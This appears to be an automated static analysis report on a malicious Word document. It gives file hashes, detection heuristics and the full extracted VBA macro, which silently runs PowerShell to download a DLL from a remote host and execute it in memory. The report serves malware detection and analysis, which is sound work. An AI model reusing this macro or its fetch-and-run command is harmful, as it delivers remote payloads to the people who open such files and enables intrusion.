Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 b32d87f8226d9fac…

MALICIOUS

Office (OLE) / .DOC

36.5 KB Created: 2026-05-23 22:00:00 Authoring application: Microsoft Office Word First seen: 2026-06-07
MD5: d3fc2f6230b112a37e5e2e346971779b SHA-1: 889ca5b4e19233516b1e55271dc44dd674d85554 SHA-256: b32d87f8226d9fac65036a3dbad6f2719222490d1d790f2ac99fbd9cf5696a8a
282 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell strArg, vbHide
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
      strArg = "powershell -exec bypass -nop -c $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.122.232:2000/ClassLibrary1.dll'); $assem = [System.Reflection.Assembly]::Load($data); $class = $assem.GetType('ClassLibrary1.Class1'); $method = $class.GetMethod('runner'); $method.Invoke(0, $null);"
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.122.232:2000/ClassLibrary1.dll In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 708 bytes
SHA-256: aadff87ce361ceda80b1089ff8f8ceff2fef49413e0ddc8dff19282a15e2df02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub MyMacro()
  Dim strArg As String
  strArg = "powershell -exec bypass -nop -c $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.122.232:2000/ClassLibrary1.dll'); $assem = [System.Reflection.Assembly]::Load($data); $class = $assem.GetType('ClassLibrary1.Class1'); $method = $class.GetMethod('runner'); $method.Invoke(0, $null);"
  Shell strArg, vbHide
End Sub

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